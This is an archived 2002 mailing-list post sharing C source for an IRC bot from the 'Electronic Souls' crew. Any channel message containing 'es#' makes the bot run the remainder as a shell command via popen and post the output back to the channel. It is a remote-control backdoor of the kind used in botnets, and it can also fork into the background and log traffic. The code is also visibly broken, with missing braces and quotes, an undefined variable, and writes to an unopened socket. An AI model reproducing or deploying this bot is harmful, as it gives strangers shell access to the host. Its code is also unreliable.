[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200211300209.gAU29SKQ020444@mailserver2.hushmail.com>
From: es at hush.com (es@...h.com)
Subject: (no subject)
-----BEGIN PGP SIGNED MESSAGE-----
Dear List,
Here is a small proof-of-concept IRC bot.
# cat ESbot.c
/* (C) vux [ElectronicSouls]
*
* PROPERTY OF ELECTRONIC SOULS CREW !
* PRIVATE ! -- DO NOT DISTRIBUTE ! -- PRIVATE!
*
* irc bot - joins a channels (with key), says something, logs, command it - etc.
* h0h0!
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#define port 6667
#define channel "#!ElectronicSouls"
#define channel2 "#signal11"
#define NICK "ES0WNZ"
#define key ""
#define username "Electronic Souls!"
#define welcome_msg "hey!"
#define mode "+iw"
#define LOGFILE "bot.log"
#define buff 256
#define doit(socket,string) write(socket,string,strlen(string))
int sockfd;
char buffer[256];
char input[80];
struct sockaddr_in server;
struct hostent *he;
FILE *logs;
char ping[] = "PONG \r\n";
unsigned char version[buff];
unsigned char aesn[buff];
unsigned char fucku[buff];
unsigned char entrar[buff];
unsigned char version[buff];
unsigned char part[buff];
unsigned char quit[buff];
char temp[buff];
char out[buff];
void
run(int sock,char *str)
{
char *ptr;
FILE *pip;
if ((ptr=strstr(str,"es#"))) {
str[strlen(str)-2]=0;
ptr+=strlen("es#")+1;
snprintf(temp,buff,"%s 2>&1",ptr);
if (!(pip=popen(temp,"r"))) {
perror("Error");
exit(666);
}
snprintf(temp,buff,"PRIVMSG %s :%s\r\n",channel,"");
doit(sock,temp);
while (fgets(out,buff,pip)) {
snprintf(temp,buff,"PRIVMSG %s :%s\r\n",channel,out);
doit(sock,temp);
}
snprintf(temp,buff,"PRIVMSG %s :%s\r\n",channel,"");
doit(sock,temp);
pclose(pip);
}
}
int main(int argc, char *argv[])
{
if(argc<2 || argc>2)
printf("usage: %s irc server\n",argv[0]);
exit(printf("example: %s irc.prison.net\n",argv[0]));
}
else {
snprintf(version,buff,"PRIVMSG %s : Electronic Souls! \r\n",channel);
doit(sockfd,buffer);
sprintf(aesn,"privmsg %s :hey man!\r\n",channel);
sprintf(fucku,"privmsg %s :fuck you mother fucker!\r\n",channel);
snprintf(entrar,buff,"JOIN %s \r\n",channel2,key);
doit(sockfd,buffer);
snprintf(part,buff,"PART %s : part \r\n",channel);
doit(sockfd,buffer);
snprintf(quit,buff,"QUIT : dead \r\n");
doit(sockfd,buffer);
printf("\t\tBot Loading ......\n\n\n");
if ((he=gethostbyname(argv[1])) == NULL)
{
perror("Please Check Server Name");
exit(0);
}
sockfd=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&server.sin_addr, he->h_length);
server.sin_family=AF_INET;
server.sin_port=htons(port);
if (connect(sockfd, (struct sockaddr*)&server, sizeof(server)) < 0)
{
perror("Error In Server Conecting");
}
if(sockfd<0) {
perror("Error In Socket");
exit(-1);
}
else {
printf("bot loaded OK\n");
snprintf(buffer,buff,"USER %s\r\n",username);
doit(sockfd,buffer);
printf("user OK\n");
sleep(2);
snprintf(buffer,buff,"NICK %s\r\n",NICK);
doit(sockfd,buffer);
printf("nick OK\n");
sleep(2);
snprintf(buffer,buff,"JOIN %s :%s\r\n",channel,key);
doit(sockfd,buffer);
printf(joined to channel: %s OK\n", channel);
snprintf(buffer,buff,"privmsg %s : %s \r\n",channel,welcome_msg);
doit(sockfd,buffer);
snprintf(buffer,buff,"MODE %s %s\r\n",NICK,mode);
doit(sockfd,buffer);
snprintf(buffer,buff,"AWAY : Not Here, Im Coding Now \r\n");
doit(sockfd,buffer);
printf("You Want Fork Your Bot?\n");
printf ("[Y] or [N]\n");
fflush (stdout);
gets(input);
if (!strcmp (input, "N") || !strcmp (input, "n"))
{
printf("To Exit Use ^C \n");
fflush (stdout);
}
else
if (!strcmp (input, "Y") || !strcmp (input, "y"))
{
printf ("Your Bot Is Forked Now \n");
if (fork() != 0)
exit(0);
}
while(1)
{
recv(sockfd, buffer, sizeof(buffer), 0);
if(!(logs = fopen(LOGFILE, "a"))) {
perror(LOGFILE);
exit(1);
}
fprintf(logs, "%s", buffer);
fclose(logs);
run(sockfd,buffer);
if (strstr(buffer, "!version") != NULL)
send(sockfd,version,strlen(version),0);
else
if (strstr(buffer, "elite") != NULL)
send(sockfd,elite,strlen(elite),0);
else
if (strstr(buffer, "PING") != NULL)
send(sockfd,ping,strlen(ping),0);
else
if (strstr(buffer, "es_ hi") != NULL)
send(sockfd,aesn,strlen(aesn),0);
else
if (strstr(buffer, "es fuck u") != NULL)
send(sockfd,fucku,strlen(fucku),0);
else
if (strstr(buffer, "enter") != NULL)
send(sockfd,entrar,strlen(entrar),0);
else
if (strstr(buffer, "part") !=NULL)
send(sockfd,part,strlen(part),0);
if (strstr(buffer, "!quit") !=NULL)
send(sockfd,quit,strlen(quit),0);
memset(buffer,'\0',sizeof(buffer));
}
}
}
}
#
The Electronic Souls Crew
[ElectronicSouls] (c) 2002
"Mission Impossible 2K2K."
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify
wlMEARECABMFAj3oHewMHGVzQGh1c2guY29tAAoJEN5nGqhGcjlt3rsAn2GtcBbH6hfv
tnkEXTXGW1rY6XZlAKCWUv+JbCsbmnjDVaexPcRcjyjy4Q==
=yqfd
-----END PGP SIGNATURE-----
Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2
Big $$$ to be made with the HushMail Affiliate Program:
https://www.hushmail.com/about.php?subloc=affiliate&l=427
Powered by blists - more mailing lists